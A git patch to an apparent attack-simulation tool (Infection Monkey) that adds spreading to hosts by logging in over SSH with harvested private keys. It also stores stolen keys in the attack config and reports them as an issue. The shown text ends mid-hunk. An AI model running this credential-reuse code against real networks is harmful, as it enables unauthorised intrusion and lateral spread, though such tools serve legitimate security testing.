From 30a3bbf9a0462a58f357ba4c1b836410e2ad7460 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 29 May 2018 01:02:49 +0300 Subject: [PATCH] Exploitation of machines using ssh keys added. Also, added shh keys exploitation to report --- infection_monkey/config.py | 6 +++ infection_monkey/example.conf | 1 + infection_monkey/exploit/__init__.py | 4 +- infection_monkey/exploit/sshexec.py | 32 +++++++++++++++- monkey_island/cc/resources/telemetry.py | 38 ++++++++++--------- monkey_island/cc/services/report.py | 19 ++++++++-- .../cc/ui/src/components/pages/ReportPage.js | 24 +++++++++++- 7 files changed, 98 insertions(+), 26 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 1f5fce4b1..c5421fb83 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -233,6 +233,12 @@ class Configuration(object): """ return product(self.exploit_user_list, self.exploit_password_list) + def get_exploit_user_ssh_key_pairs(self): + """ + :return: All combinations of the configurations users and ssh pairs + """ + return product(self.exploit_user_list, self.exploit_ssh_keys) + def get_exploit_user_password_or_hash_product(self): """ Returns all combinations of the configurations users and passwords or lm/ntlm hashes diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6e8638742..51a108e5d 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -67,6 +67,7 @@ "exploit_password_list": [], "exploit_lm_hash_list": [], "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [], "sambacry_trigger_timeout": 5, "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], "sambacry_shares_not_to_check": ["IPC$", "print$"], diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index 379d2bd92..a05f5b079 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -24,9 +24,9 @@ class HostExploiter(object): {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, 'info': self._exploit_info, 'attempts': self._exploit_attempts}) - def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''): + def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): self._exploit_attempts.append({'result': result, 'user': user, 'password': password, - 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}) + 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) @abstractmethod def exploit_host(self): diff --git a/infection_monkey/exploit/sshexec.py b/infection_monkey/exploit/sshexec.py index b93970ca9..2209a0685 100644 --- a/infection_monkey/exploit/sshexec.py +++ b/infection_monkey/exploit/sshexec.py @@ -2,6 +2,7 @@ import logging import time import paramiko +import StringIO import monkeyfs from exploit import HostExploiter @@ -46,9 +47,38 @@ class SSHExploiter(HostExploiter): LOG.info("SSH port is closed on %r, skipping", self.host) return False - user_password_pairs = self._config.get_exploit_user_password_pairs() + user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() exploited = False + + for user, ssh_key_pair in user_ssh_key_pairs: + # Creating file-like private key for paramiko + pkey = StringIO.StringIO(ssh_key_pair['private_key']) + ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip']) + try: + pkey = paramiko.RSAKey.from_private_key(pkey) + except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException): + LOG.error("Failed reading ssh key") + try: + ssh.connect(self.host.ip_addr, + username=user, + pkey=pkey, + port=port, + timeout=None) + LOG.debug("Successfully logged in %s using %s users private key", + self.host, ssh_string) + self.report_login_attempt(True, user, ssh_key=ssh_string) + exploited = True + break + except Exception as exc: + LOG.debug("Error logging into victim %r with %s" + " private key", self.host, + ssh_string) + self.report_login_attempt(False, user, ssh_key=ssh_string) + continue + + user_password_pairs = self._config.get_exploit_user_password_pairs() + for user, curpass in user_password_pairs: try: ssh.connect(self.host.ip_addr, diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index ec05558d8..540802ca1 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -130,7 +130,7 @@ class Telemetry(flask_restful.Resource): for attempt in telemetry_json['data']['attempts']: if attempt['result']: found_creds = {'user': attempt['user']} - for field in ['password', 'lm_hash', 'ntlm_hash']: + for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: if len(attempt[field]) != 0: found_creds[field] = attempt[field] NodeService.add_credentials_to_node(edge['to'], found_creds) @@ -169,10 +169,10 @@ class Telemetry(flask_restful.Resource): def process_system_info_telemetry(telemetry_json): if 'ssh_info' in telemetry_json['data']: ssh_info = telemetry_json['data']['ssh_info'] - Telemetry.encrypt_system_info_creds({}, ssh_info) + Telemetry.encrypt_system_info_ssh_keys(ssh_info) if telemetry_json['data']['network_info']['networks']: Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) - Telemetry.add_system_info_creds_to_config({}, ssh_info) + Telemetry.add_system_info_ssh_keys_to_config(ssh_info) if 'credentials' in telemetry_json['data']: creds = telemetry_json['data']['credentials'] Telemetry.encrypt_system_info_creds(creds) @@ -197,20 +197,22 @@ class Telemetry(flask_restful.Resource): creds[new_user] = creds.pop(user) @staticmethod - def encrypt_system_info_creds(creds, ssh_info=None): + def encrypt_system_info_creds(creds): for user in creds: for field in ['password', 'lm_hash', 'ntlm_hash']: if field in creds[user]: # this encoding is because we might run into passwords which are not pure ASCII creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) - if ssh_info: - for idx, user in enumerate(ssh_info): - for field in ['public_key', 'private_key', 'known_hosts']: - if ssh_info[idx][field]: - ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) @staticmethod - def add_system_info_creds_to_config(creds, ssh_info=None): + def encrypt_system_info_ssh_keys(ssh_info): + for idx, user in enumerate(ssh_info): + for field in ['public_key', 'private_key', 'known_hosts']: + if ssh_info[idx][field]: + ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) + + @staticmethod + def add_system_info_creds_to_config(creds): for user in creds: ConfigService.creds_add_username(user) if 'password' in creds[user]: @@ -219,15 +221,15 @@ class Telemetry(flask_restful.Resource): ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) if 'ntlm_hash' in creds[user]: ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) - if ssh_info: - for user in ssh_info: - ConfigService.creds_add_username(user['name']) - # Public key is useless without private key - if user['public_key'] and user['private_key']: - ConfigService.ssh_add_keys(user['public_key'], user['private_key'], - user['name'], user['ip']) - + @staticmethod + def add_system_info_ssh_keys_to_config(ssh_info): + for user in ssh_info: + ConfigService.creds_add_username(user['name']) + # Public key is useless without private key + if user['public_key'] and user['private_key']: + ConfigService.ssh_add_keys(user['public_key'], user['private_key'], + user['name'], user['ip']) @staticmethod def encrypt_exploit_creds(telemetry_json): diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 0ceadc26b..15b11e877 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -34,6 +34,7 @@ class ReportService: SHELLSHOCK = 4 CONFICKER = 5 AZURE = 6 + STOLEN_SSH_KEYS = 7 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -203,9 +204,12 @@ class ReportService: for attempt in exploit['data']['attempts']: if attempt['result']: processed_exploit['username'] = attempt['user'] - if len(attempt['password']) > 0: + if attempt['password']: processed_exploit['type'] = 'password' processed_exploit['password'] = attempt['password'] + elif attempt['ssh_key']: + processed_exploit['type'] = 'ssh_key' + processed_exploit['ssh_key'] = attempt['ssh_key'] else: processed_exploit['type'] = 'hash' return processed_exploit @@ -231,8 +235,12 @@ class ReportService: @staticmethod def process_ssh_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'ssh' - return processed_exploit + # Check if it's ssh key or ssh login credentials exploit + if processed_exploit['type'] == 'ssh_key': + return processed_exploit + else: + processed_exploit['type'] = 'ssh' + return processed_exploit @staticmethod def process_rdp_exploit(exploit): @@ -332,7 +340,8 @@ class ReportService: @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() + issues = ReportService.get_exploits() + ReportService.get_tunnels() +\ + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() issues_dict = {} for issue in issues: machine = issue['machine'] @@ -392,6 +401,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True elif issue['type'] == 'azure_password': issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True + elif issue['type'] == 'ssh_key': + issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users: issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 393b1cc74..f8959a252 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -22,7 +22,8 @@ class ReportPageComponent extends AuthComponent { SAMBACRY: 3, SHELLSHOCK: 4, CONFICKER: 5, - AZURE: 6 + AZURE: 6, + STOLEN_SSH_KEYS: 7 }; Warning = @@ -293,6 +294,8 @@ class ReportPageComponent extends AuthComponent { return x === true; }).length} threats: